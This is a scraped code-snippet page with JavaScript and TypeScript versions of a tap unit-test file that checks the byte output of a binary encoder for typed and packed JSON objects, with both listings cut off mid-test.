Best JavaScript code snippet using wpt
encode.spec.js
Source:encode.spec.js
...69 baz: 170 }, {71 optionalProperties: ['baz', 'bar', 'foo', 'qux'],72 propertyEncodings: {73 foo: mapper_1.getEncoding({74 type: 'string'75 }, 1),76 baz: mapper_1.getEncoding({77 type: 'integer',78 minimum: 079 }, 1),80 bar: mapper_1.getEncoding({}, 1),81 qux: mapper_1.getEncoding({}, 1)82 }83 }, context);84 test.strictSame(buffer.getBuffer(), Buffer.from([85 0x04,86 5,87 0x01,88 0x04, 0x62, 0x61, 0x7289 ]));90 test.is(bytesWritten, 7);91 test.end();92});93tap_1.default.test('NON_REQUIRED_BOUNDED_TYPED_OBJECT: should encode typed {}', function (test) {94 var context = encoder_1.getDefaultEncodingContext();95 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(2));96 var bytesWritten = encode_1.NON_REQUIRED_BOUNDED_TYPED_OBJECT(buffer, 0, {}, {97 optionalProperties: ['baz', 'bar', 'foo', 'qux'],98 propertyEncodings: {99 foo: mapper_1.getEncoding({100 type: 'string'101 }, 1),102 baz: mapper_1.getEncoding({103 type: 'integer',104 minimum: 0105 }, 1),106 bar: mapper_1.getEncoding({}, 1),107 qux: mapper_1.getEncoding({}, 1)108 }109 }, context);110 test.strictSame(buffer.getBuffer(), Buffer.from([111 0x04,112 0113 ]));114 test.is(bytesWritten, 2);115 test.end();116});117tap_1.default.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode a bounded empty object', function (test) {118 var context = encoder_1.getDefaultEncodingContext();119 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(1));120 var bytesWritten = encode_1.REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {}, {121 propertyEncodings: {},122 requiredProperties: [],123 booleanRequiredProperties: []124 }, context);125 test.strictSame(buffer.getBuffer(), Buffer.from([]));126 test.is(bytesWritten, 0);127 test.end();128});129tap_1.default.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1}', function (test) {130 var context = encoder_1.getDefaultEncodingContext();131 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(5));132 var bytesWritten = encode_1.REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {133 foo: 'bar',134 baz: 1135 }, {136 requiredProperties: ['baz', 'foo'],137 booleanRequiredProperties: [],138 propertyEncodings: {139 foo: mapper_1.getEncoding({140 type: 'string'141 }, 1),142 baz: mapper_1.getEncoding({143 type: 'integer',144 minimum: 0145 }, 1)146 }147 }, context);148 test.strictSame(buffer.getBuffer(), Buffer.from([149 0x01,150 0x04, 0x62, 0x61, 0x72151 ]));152 test.is(bytesWritten, 5);153 test.end();154});155tap_1.default.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1,baz:true,qux:false}', function (test) {156 var context = encoder_1.getDefaultEncodingContext();157 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(6));158 var bytesWritten = encode_1.REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {159 foo: 'bar',160 bar: 1,161 baz: true,162 qux: false163 }, {164 requiredProperties: ['bar', 'foo'],165 booleanRequiredProperties: ['baz', 'qux'],166 propertyEncodings: {167 foo: mapper_1.getEncoding({168 type: 'string'169 }, 1),170 bar: mapper_1.getEncoding({171 type: 'integer',172 minimum: 0173 }, 1),174 baz: mapper_1.getEncoding({175 type: 'boolean'176 }, 1),177 qux: mapper_1.getEncoding({178 type: 'boolean'179 }, 1)180 }181 }, context);182 test.strictSame(buffer.getBuffer(), Buffer.from([183 1,184 0x01,185 0x04, 0x62, 0x61, 0x72186 ]));187 test.is(bytesWritten, 6);188 test.end();189});190tap_1.default.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode three boolean properties', function (test) {191 var context = encoder_1.getDefaultEncodingContext();192 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(1));193 var bytesWritten = encode_1.REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {194 foo: true,195 bar: false,196 baz: true197 }, {198 requiredProperties: [],199 booleanRequiredProperties: ['foo', 'bar', 'baz'],200 propertyEncodings: {201 foo: mapper_1.getEncoding({202 type: 'boolean'203 }, 1),204 bar: mapper_1.getEncoding({205 type: 'boolean'206 }, 1),207 baz: mapper_1.getEncoding({208 type: 'boolean'209 }, 1)210 }211 }, context);212 test.strictSame(buffer.getBuffer(), Buffer.from([5]));213 test.is(bytesWritten, 1);214 test.end();215});216tap_1.default.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode eight boolean properties', function (test) {217 var context = encoder_1.getDefaultEncodingContext();218 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(1));219 var bytesWritten = encode_1.REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {220 foo: true,221 bar: false,222 baz: true,223 qux: true,224 xxx: false,225 yyy: false,226 zzz: true,227 qqq: true228 }, {229 requiredProperties: [],230 booleanRequiredProperties: ['foo', 'bar', 'baz', 'qux', 'xxx', 'yyy', 'zzz', 'qqq'],231 propertyEncodings: {232 foo: mapper_1.getEncoding({233 type: 'boolean'234 }, 1),235 bar: mapper_1.getEncoding({236 type: 'boolean'237 }, 1),238 baz: mapper_1.getEncoding({239 type: 'boolean'240 }, 1),241 qux: mapper_1.getEncoding({242 type: 'boolean'243 }, 1),244 xxx: mapper_1.getEncoding({245 type: 'boolean'246 }, 1),247 yyy: mapper_1.getEncoding({248 type: 'boolean'249 }, 1),250 zzz: mapper_1.getEncoding({251 type: 'boolean'252 }, 1),253 qqq: mapper_1.getEncoding({254 type: 'boolean'255 }, 1)256 }257 }, context);258 test.strictSame(buffer.getBuffer(), Buffer.from([205]));259 test.is(bytesWritten, 1);260 test.end();261});262tap_1.default.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode nine boolean properties', function (test) {263 var context = encoder_1.getDefaultEncodingContext();264 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(2));265 var bytesWritten = encode_1.REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {266 foo: true,267 bar: false,268 baz: true,269 qux: true,270 xxx: false,271 yyy: false,272 zzz: true,273 qqq: true,274 ppp: false275 }, {276 requiredProperties: [],277 booleanRequiredProperties: ['foo', 'bar', 'baz', 'qux', 'xxx', 'yyy', 'zzz', 'qqq', 'ppp'],278 propertyEncodings: {279 foo: mapper_1.getEncoding({280 type: 'boolean'281 }, 1),282 bar: mapper_1.getEncoding({283 type: 'boolean'284 }, 1),285 baz: mapper_1.getEncoding({286 type: 'boolean'287 }, 1),288 qux: mapper_1.getEncoding({289 type: 'boolean'290 }, 1),291 xxx: mapper_1.getEncoding({292 type: 'boolean'293 }, 1),294 yyy: mapper_1.getEncoding({295 type: 'boolean'296 }, 1),297 zzz: mapper_1.getEncoding({298 type: 'boolean'299 }, 1),300 qqq: mapper_1.getEncoding({301 type: 'boolean'302 }, 1),303 ppp: mapper_1.getEncoding({304 type: 'boolean'305 }, 1)306 }307 }, context);308 test.strictSame(buffer.getBuffer(), Buffer.from([205, 0x00]));309 test.is(bytesWritten, 2);310 test.end();311});312tap_1.default.test('MIXED_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1} with one required', function (test) {313 var context = encoder_1.getDefaultEncodingContext();314 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(7));315 var bytesWritten = encode_1.MIXED_BOUNDED_TYPED_OBJECT(buffer, 0, {316 foo: 'bar',317 baz: 1318 }, {319 requiredProperties: ['foo'],320 booleanRequiredProperties: [],321 optionalProperties: ['baz'],322 propertyEncodings: {323 foo: mapper_1.getEncoding({324 type: 'string'325 }, 1),326 baz: mapper_1.getEncoding({327 type: 'integer',328 minimum: 0329 }, 1)330 }331 }, context);332 test.strictSame(buffer.getBuffer(), Buffer.from([333 0x04, 0x62, 0x61, 0x72,334 0x01, 0x01,335 0x01336 ]));337 test.is(bytesWritten, 7);338 test.end();339});340tap_1.default.test('MIXED_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1} with one missing optional', function (test) {341 var context = encoder_1.getDefaultEncodingContext();342 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(6));343 var bytesWritten = encode_1.MIXED_BOUNDED_TYPED_OBJECT(buffer, 0, {344 foo: 'bar'345 }, {346 requiredProperties: ['foo'],347 booleanRequiredProperties: [],348 optionalProperties: ['baz'],349 propertyEncodings: {350 foo: mapper_1.getEncoding({351 type: 'string'352 }, 1),353 baz: mapper_1.getEncoding({354 type: 'integer',355 minimum: 0356 }, 1)357 }358 }, context);359 test.strictSame(buffer.getBuffer(), Buffer.from([360 0x04, 0x62, 0x61, 0x72,361 0x01, 0x00362 ]));363 test.is(bytesWritten, 6);364 test.end();365});366tap_1.default.test('REQUIRED_UNBOUNDED_TYPED_OBJECT: should encode semityped {foo:"bar",baz:1}', function (test) {367 var context = encoder_1.getDefaultEncodingContext();368 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(11));369 var bytesWritten = encode_1.REQUIRED_UNBOUNDED_TYPED_OBJECT(buffer, 0, {370 foo: 'bar',371 baz: 1372 }, {373 requiredProperties: ['foo'],374 booleanRequiredProperties: [],375 propertyEncodings: {376 foo: mapper_1.getEncoding({377 type: 'string'378 }, 1)379 },380 keyEncoding: string_1.getStringEncoding({381 type: 'string'382 }, 1),383 encoding: {384 type: encoder_1.EncodingType.Any,385 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',386 options: {}387 }388 }, context);389 test.strictSame(buffer.getBuffer(), Buffer.from([390 0x04, 0x62, 0x61, 0x72,391 0x01,392 0x04, 0x62, 0x61, 0x7a,393 0x15394 ]));395 test.is(bytesWritten, 10);396 test.end();397});398tap_1.default.test('REQUIRED_UNBOUNDED_TYPED_OBJECT: should encode typed {foo:"bar"}', function (test) {399 var context = encoder_1.getDefaultEncodingContext();400 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(5));401 var bytesWritten = encode_1.REQUIRED_UNBOUNDED_TYPED_OBJECT(buffer, 0, {402 foo: 'bar'403 }, {404 requiredProperties: ['foo'],405 booleanRequiredProperties: [],406 propertyEncodings: {407 foo: mapper_1.getEncoding({408 type: 'string'409 }, 1)410 },411 keyEncoding: string_1.getStringEncoding({412 type: 'string'413 }, 1),414 encoding: {415 type: encoder_1.EncodingType.Any,416 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',417 options: {}418 }419 }, context);420 test.strictSame(buffer.getBuffer(), Buffer.from([421 0x04, 0x62, 0x61, 0x72,422 0x00423 ]));424 test.is(bytesWritten, 5);425 test.end();426});427tap_1.default.test('OPTIONAL_UNBOUNDED_TYPED_OBJECT: should encode semityped {foo:"bar",baz:1}', function (test) {428 var context = encoder_1.getDefaultEncodingContext();429 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(13));430 var bytesWritten = encode_1.OPTIONAL_UNBOUNDED_TYPED_OBJECT(buffer, 0, {431 foo: 'bar',432 baz: 1433 }, {434 optionalProperties: ['foo'],435 propertyEncodings: {436 foo: mapper_1.getEncoding({437 type: 'string'438 }, 1)439 },440 keyEncoding: string_1.getStringEncoding({441 type: 'string'442 }, 1),443 encoding: {444 type: encoder_1.EncodingType.Any,445 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',446 options: {}447 }448 }, context);449 test.strictSame(buffer.getBuffer(), Buffer.from([450 0x01, 0x01,451 0x04, 0x62, 0x61, 0x72,452 0x01,453 0x04, 0x62, 0x61, 0x7a,454 0x15455 ]));456 test.is(bytesWritten, 12);457 test.end();458});459tap_1.default.test('MIXED_UNBOUNDED_TYPED_OBJECT: should encode mixed {foo:"bar",baz:1,qux:null}', function (test) {460 var context = encoder_1.getDefaultEncodingContext();461 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(13));462 var bytesWritten = encode_1.MIXED_UNBOUNDED_TYPED_OBJECT(buffer, 0, {463 foo: 'bar',464 baz: 1,465 qux: null466 }, {467 requiredProperties: ['foo'],468 booleanRequiredProperties: [],469 optionalProperties: ['baz'],470 keyEncoding: string_1.getStringEncoding({471 type: 'string'472 }, 1),473 encoding: {474 type: encoder_1.EncodingType.Any,475 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',476 options: {}477 },478 propertyEncodings: {479 foo: mapper_1.getEncoding({480 type: 'string'481 }, 1),482 baz: mapper_1.getEncoding({483 type: 'integer',484 minimum: 0485 }, 1)486 }487 }, context);488 test.strictSame(buffer.getBuffer(), Buffer.from([489 0x04, 0x62, 0x61, 0x72,490 0x01, 0x01,491 0x01,492 0x01,493 0x04, 0x71, 0x75, 0x78,494 0x17495 ]));496 test.is(bytesWritten, 13);497 test.end();498});499tap_1.default.test('PACKED_UNBOUNDED_OBJECT: should encode a complex object', function (test) {500 var context = encoder_1.getDefaultEncodingContext();501 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(21));502 var bytesWritten = encode_1.PACKED_UNBOUNDED_OBJECT(buffer, 0, {503 foo: 1,504 bar: 2,505 baz: 0,506 qux: 2,507 extra: 1,508 name: 'john',509 flag: true,510 random: 'x'511 }, {512 packedRequiredProperties: ['bar', 'baz', 'extra', 'foo', 'qux'],513 packedEncoding: {514 type: encoder_1.EncodingType.Integer,515 encoding: 'BOUNDED_8BITS_ENUM_FIXED',516 options: {517 minimum: 0,518 maximum: 2519 }520 },521 encoding: {522 type: encoder_1.EncodingType.Any,523 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',524 options: {}525 },526 propertyEncodings: {527 name: mapper_1.getEncoding({528 type: 'string'529 }, 1),530 age: mapper_1.getEncoding({531 type: 'integer',532 minimum: 0533 }, 1),534 flag: mapper_1.getEncoding({535 type: 'boolean'536 }, 1)537 },538 optionalProperties: ['age'],539 requiredProperties: ['name'],540 booleanRequiredProperties: ['flag'],541 keyEncoding: string_1.getStringEncoding({542 type: 'string'543 }, 1)544 }, context);545 test.strictSame(buffer.getBuffer(), Buffer.from([546 0x05,547 161,548 1,549 0x01,550 0x05,551 0x6a, 0x6f, 0x68, 0x6e,552 0x01,553 0x00,554 0x01,555 0x07,556 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d,557 0x11, 0x78558 ]));559 test.is(bytesWritten, 21);560 test.end();561});562tap_1.default.test('PACKED_BOUNDED_REQUIRED_OBJECT: should encode a complex object', function (test) {563 var context = encoder_1.getDefaultEncodingContext();564 var buffer = new encoder_1.ResizableBuffer(Buffer.allocUnsafe(8));565 var bytesWritten = encode_1.PACKED_BOUNDED_REQUIRED_OBJECT(buffer, 0, {566 foo: 1,567 bar: 2,568 baz: 0,569 qux: 2,570 extra: 1,571 name: 'john',572 flag: true573 }, {574 packedRequiredProperties: ['bar', 'baz', 'extra', 'foo', 'qux'],575 packedEncoding: {576 type: encoder_1.EncodingType.Integer,577 encoding: 'BOUNDED_8BITS_ENUM_FIXED',578 options: {579 minimum: 0,580 maximum: 2581 }582 },583 propertyEncodings: {584 name: mapper_1.getEncoding({585 type: 'string'586 }, 1),587 flag: mapper_1.getEncoding({588 type: 'boolean'589 }, 1)590 },591 requiredProperties: ['name'],592 booleanRequiredProperties: ['flag']593 }, context);594 test.strictSame(buffer.getBuffer(), Buffer.from([595 161,596 1,597 0x01,598 0x05,599 0x6a, 0x6f, 0x68, 0x6e600 ]));601 test.is(bytesWritten, 8);...
encode.spec.ts
Source:encode.spec.ts
...108 baz: 1109 }, {110 optionalProperties: [ 'baz', 'bar', 'foo', 'qux' ],111 propertyEncodings: {112 foo: getEncoding({113 type: 'string'114 }, 1),115 baz: getEncoding({116 type: 'integer',117 minimum: 0118 }, 1),119 bar: getEncoding({}, 1),120 qux: getEncoding({}, 1)121 }122 }, context)123 test.strictSame(buffer.getBuffer(), Buffer.from([124 // Length125 0x04,126 // Bit set127 0b00000101,128 // 1129 0x01,130 // "bar"131 0x04, 0x62, 0x61, 0x72132 ]))133 test.is(bytesWritten, 7)134 test.end()135})136tap.test('NON_REQUIRED_BOUNDED_TYPED_OBJECT: should encode typed {}', (test) => {137 const context: EncodingContext = getDefaultEncodingContext()138 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(2))139 const bytesWritten: number = NON_REQUIRED_BOUNDED_TYPED_OBJECT(buffer, 0, {}, {140 optionalProperties: [ 'baz', 'bar', 'foo', 'qux' ],141 propertyEncodings: {142 foo: getEncoding({143 type: 'string'144 }, 1),145 baz: getEncoding({146 type: 'integer',147 minimum: 0148 }, 1),149 bar: getEncoding({}, 1),150 qux: getEncoding({}, 1)151 }152 }, context)153 test.strictSame(buffer.getBuffer(), Buffer.from([154 // Length155 0x04,156 // Bit set157 0b00000000158 ]))159 test.is(bytesWritten, 2)160 test.end()161})162tap.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode a bounded empty object', (test) => {163 const context: EncodingContext = getDefaultEncodingContext()164 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(1))165 const bytesWritten: number = REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {}, {166 propertyEncodings: {},167 requiredProperties: [],168 booleanRequiredProperties: []169 }, context)170 test.strictSame(buffer.getBuffer(), Buffer.from([]))171 test.is(bytesWritten, 0)172 test.end()173})174tap.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1}', (test) => {175 const context: EncodingContext = getDefaultEncodingContext()176 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(5))177 const bytesWritten: number = REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {178 foo: 'bar',179 baz: 1180 }, {181 requiredProperties: [ 'baz', 'foo' ],182 booleanRequiredProperties: [],183 propertyEncodings: {184 foo: getEncoding({185 type: 'string'186 }, 1),187 baz: getEncoding({188 type: 'integer',189 minimum: 0190 }, 1)191 }192 }, context)193 test.strictSame(buffer.getBuffer(), Buffer.from([194 // 1195 0x01,196 // "bar"197 0x04, 0x62, 0x61, 0x72198 ]))199 test.is(bytesWritten, 5)200 test.end()201})202tap.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1,baz:true,qux:false}', (test) => {203 const context: EncodingContext = getDefaultEncodingContext()204 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(6))205 const bytesWritten: number = REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {206 foo: 'bar',207 bar: 1,208 baz: true,209 qux: false210 }, {211 requiredProperties: [ 'bar', 'foo' ],212 booleanRequiredProperties: [ 'baz', 'qux' ],213 propertyEncodings: {214 foo: getEncoding({215 type: 'string'216 }, 1),217 bar: getEncoding({218 type: 'integer',219 minimum: 0220 }, 1),221 baz: getEncoding({222 type: 'boolean'223 }, 1),224 qux: getEncoding({225 type: 'boolean'226 }, 1)227 }228 }, context)229 test.strictSame(buffer.getBuffer(), Buffer.from([230 // Bitset231 0b00000001,232 // 1233 0x01,234 // "bar"235 0x04, 0x62, 0x61, 0x72236 ]))237 test.is(bytesWritten, 6)238 test.end()239})240tap.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode three boolean properties', (test) => {241 const context: EncodingContext = getDefaultEncodingContext()242 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(1))243 const bytesWritten: number = REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {244 foo: true,245 bar: false,246 baz: true247 }, {248 requiredProperties: [],249 booleanRequiredProperties: [ 'foo', 'bar', 'baz' ],250 propertyEncodings: {251 foo: getEncoding({252 type: 'boolean'253 }, 1),254 bar: getEncoding({255 type: 'boolean'256 }, 1),257 baz: getEncoding({258 type: 'boolean'259 }, 1)260 }261 }, context)262 test.strictSame(buffer.getBuffer(), Buffer.from([ 0b00000101 ]))263 test.is(bytesWritten, 1)264 test.end()265})266tap.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode eight boolean properties', (test) => {267 const context: EncodingContext = getDefaultEncodingContext()268 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(1))269 const bytesWritten: number = REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {270 foo: true,271 bar: false,272 baz: true,273 qux: true,274 xxx: false,275 yyy: false,276 zzz: true,277 qqq: true278 }, {279 requiredProperties: [],280 booleanRequiredProperties: [ 'foo', 'bar', 'baz', 'qux', 'xxx', 'yyy', 'zzz', 'qqq' ],281 propertyEncodings: {282 foo: getEncoding({283 type: 'boolean'284 }, 1),285 bar: getEncoding({286 type: 'boolean'287 }, 1),288 baz: getEncoding({289 type: 'boolean'290 }, 1),291 qux: getEncoding({292 type: 'boolean'293 }, 1),294 xxx: getEncoding({295 type: 'boolean'296 }, 1),297 yyy: getEncoding({298 type: 'boolean'299 }, 1),300 zzz: getEncoding({301 type: 'boolean'302 }, 1),303 qqq: getEncoding({304 type: 'boolean'305 }, 1)306 }307 }, context)308 test.strictSame(buffer.getBuffer(), Buffer.from([ 0b11001101 ]))309 test.is(bytesWritten, 1)310 test.end()311})312tap.test('REQUIRED_ONLY_BOUNDED_TYPED_OBJECT: should encode nine boolean properties', (test) => {313 const context: EncodingContext = getDefaultEncodingContext()314 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(2))315 const bytesWritten: number = REQUIRED_ONLY_BOUNDED_TYPED_OBJECT(buffer, 0, {316 foo: true,317 bar: false,318 baz: true,319 qux: true,320 xxx: false,321 yyy: false,322 zzz: true,323 qqq: true,324 ppp: false325 }, {326 requiredProperties: [],327 booleanRequiredProperties: [ 'foo', 'bar', 'baz', 'qux', 'xxx', 'yyy', 'zzz', 'qqq', 'ppp' ],328 propertyEncodings: {329 foo: getEncoding({330 type: 'boolean'331 }, 1),332 bar: getEncoding({333 type: 'boolean'334 }, 1),335 baz: getEncoding({336 type: 'boolean'337 }, 1),338 qux: getEncoding({339 type: 'boolean'340 }, 1),341 xxx: getEncoding({342 type: 'boolean'343 }, 1),344 yyy: getEncoding({345 type: 'boolean'346 }, 1),347 zzz: getEncoding({348 type: 'boolean'349 }, 1),350 qqq: getEncoding({351 type: 'boolean'352 }, 1),353 ppp: getEncoding({354 type: 'boolean'355 }, 1)356 }357 }, context)358 test.strictSame(buffer.getBuffer(), Buffer.from([ 0b11001101, 0x00 ]))359 test.is(bytesWritten, 2)360 test.end()361})362tap.test('MIXED_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1} with one required', (test) => {363 const context: EncodingContext = getDefaultEncodingContext()364 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(7))365 const bytesWritten: number = MIXED_BOUNDED_TYPED_OBJECT(buffer, 0, {366 foo: 'bar',367 baz: 1368 }, {369 requiredProperties: [ 'foo' ],370 booleanRequiredProperties: [],371 optionalProperties: [ 'baz' ],372 propertyEncodings: {373 foo: getEncoding({374 type: 'string'375 }, 1),376 baz: getEncoding({377 type: 'integer',378 minimum: 0379 }, 1)380 }381 }, context)382 test.strictSame(buffer.getBuffer(), Buffer.from([383 // "bar"384 0x04, 0x62, 0x61, 0x72,385 // Bit map386 0x01, 0x01,387 // 1388 0x01389 ]))390 test.is(bytesWritten, 7)391 test.end()392})393tap.test('MIXED_BOUNDED_TYPED_OBJECT: should encode typed {foo:"bar",baz:1} with one missing optional', (test) => {394 const context: EncodingContext = getDefaultEncodingContext()395 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(6))396 const bytesWritten: number = MIXED_BOUNDED_TYPED_OBJECT(buffer, 0, {397 foo: 'bar'398 }, {399 requiredProperties: [ 'foo' ],400 booleanRequiredProperties: [],401 optionalProperties: [ 'baz' ],402 propertyEncodings: {403 foo: getEncoding({404 type: 'string'405 }, 1),406 baz: getEncoding({407 type: 'integer',408 minimum: 0409 }, 1)410 }411 }, context)412 test.strictSame(buffer.getBuffer(), Buffer.from([413 // "bar"414 0x04, 0x62, 0x61, 0x72,415 // Bit map416 0x01, 0x00417 ]))418 test.is(bytesWritten, 6)419 test.end()420})421tap.test('REQUIRED_UNBOUNDED_TYPED_OBJECT: should encode semityped {foo:"bar",baz:1}', (test) => {422 const context: EncodingContext = getDefaultEncodingContext()423 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(11))424 const bytesWritten: number = REQUIRED_UNBOUNDED_TYPED_OBJECT(buffer, 0, {425 foo: 'bar',426 baz: 1427 }, {428 requiredProperties: [ 'foo' ],429 booleanRequiredProperties: [],430 propertyEncodings: {431 foo: getEncoding({432 type: 'string'433 }, 1)434 },435 keyEncoding: getStringEncoding({436 type: 'string'437 }, 1),438 encoding: {439 type: EncodingType.Any,440 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',441 options: {}442 }443 }, context)444 test.strictSame(buffer.getBuffer(), Buffer.from([445 // "bar"446 0x04, 0x62, 0x61, 0x72,447 // Length448 0x01,449 // Key length + 'baz'450 0x04, 0x62, 0x61, 0x7a,451 // Value 1 + 1 with positive integer type tag452 0x15453 ]))454 test.is(bytesWritten, 10)455 test.end()456})457tap.test('REQUIRED_UNBOUNDED_TYPED_OBJECT: should encode typed {foo:"bar"}', (test) => {458 const context: EncodingContext = getDefaultEncodingContext()459 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(5))460 const bytesWritten: number = REQUIRED_UNBOUNDED_TYPED_OBJECT(buffer, 0, {461 foo: 'bar'462 }, {463 requiredProperties: [ 'foo' ],464 booleanRequiredProperties: [],465 propertyEncodings: {466 foo: getEncoding({467 type: 'string'468 }, 1)469 },470 keyEncoding: getStringEncoding({471 type: 'string'472 }, 1),473 encoding: {474 type: EncodingType.Any,475 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',476 options: {}477 }478 }, context)479 test.strictSame(buffer.getBuffer(), Buffer.from([480 // "bar"481 0x04, 0x62, 0x61, 0x72,482 // Length483 0x00484 ]))485 test.is(bytesWritten, 5)486 test.end()487})488tap.test('OPTIONAL_UNBOUNDED_TYPED_OBJECT: should encode semityped {foo:"bar",baz:1}', (test) => {489 const context: EncodingContext = getDefaultEncodingContext()490 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(13))491 const bytesWritten: number = OPTIONAL_UNBOUNDED_TYPED_OBJECT(buffer, 0, {492 foo: 'bar',493 baz: 1494 }, {495 optionalProperties: [ 'foo' ],496 propertyEncodings: {497 foo: getEncoding({498 type: 'string'499 }, 1)500 },501 keyEncoding: getStringEncoding({502 type: 'string'503 }, 1),504 encoding: {505 type: EncodingType.Any,506 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',507 options: {}508 }509 }, context)510 test.strictSame(buffer.getBuffer(), Buffer.from([511 // Bit map512 0x01, 0x01,513 // "bar"514 0x04, 0x62, 0x61, 0x72,515 // Length516 0x01,517 // Key length + 'baz'518 0x04, 0x62, 0x61, 0x7a,519 // Value 1 + 1 with positive integer type tag520 0x15521 ]))522 test.is(bytesWritten, 12)523 test.end()524})525tap.test('MIXED_UNBOUNDED_TYPED_OBJECT: should encode mixed {foo:"bar",baz:1,qux:null}', (test) => {526 const context: EncodingContext = getDefaultEncodingContext()527 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(13))528 const bytesWritten: number = MIXED_UNBOUNDED_TYPED_OBJECT(buffer, 0, {529 foo: 'bar',530 baz: 1,531 qux: null532 }, {533 requiredProperties: [ 'foo' ],534 booleanRequiredProperties: [],535 optionalProperties: [ 'baz' ],536 keyEncoding: getStringEncoding({537 type: 'string'538 }, 1),539 encoding: {540 type: EncodingType.Any,541 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',542 options: {}543 },544 propertyEncodings: {545 foo: getEncoding({546 type: 'string'547 }, 1),548 baz: getEncoding({549 type: 'integer',550 minimum: 0551 }, 1)552 }553 }, context)554 test.strictSame(buffer.getBuffer(), Buffer.from([555 // "bar"556 0x04, 0x62, 0x61, 0x72,557 // Bit map558 0x01, 0x01,559 // 1560 0x01,561 // Free form count562 0x01,563 // "qux"564 0x04, 0x71, 0x75, 0x78,565 // Null type tag566 0x17567 ]))568 test.is(bytesWritten, 13)569 test.end()570})571tap.test('PACKED_UNBOUNDED_OBJECT: should encode a complex object', (test) => {572 const context: EncodingContext = getDefaultEncodingContext()573 const buffer: ResizableBuffer = new ResizableBuffer(Buffer.allocUnsafe(21))574 const bytesWritten: number = PACKED_UNBOUNDED_OBJECT(buffer, 0, {575 foo: 1,576 bar: 2,577 baz: 0,578 qux: 2,579 extra: 1,580 name: 'john',581 flag: true,582 random: 'x'583 }, {584 packedRequiredProperties: [ 'bar', 'baz', 'extra', 'foo', 'qux' ],585 packedEncoding: {586 type: EncodingType.Integer,587 encoding: 'BOUNDED_8BITS_ENUM_FIXED',588 options: {589 minimum: 0,590 maximum: 2591 }592 },593 encoding: {594 type: EncodingType.Any,595 encoding: 'ANY_PACKED_TYPE_TAG_BYTE_PREFIX',596 options: {}597 },598 propertyEncodings: {599 name: getEncoding({600 type: 'string'601 }, 1),602 age: getEncoding({603 type: 'integer',604 minimum: 0605 }, 1),606 flag: getEncoding({607 type: 'boolean'608 }, 1)609 },610 optionalProperties: [ 'age' ],611 requiredProperties: [ 'name' ],612 booleanRequiredProperties: [ 'flag' ],613 keyEncoding: getStringEncoding({614 type: 'string'615 }, 1)616 }, context)617 test.strictSame(buffer.getBuffer(), Buffer.from([618 // Amount of packed integers619 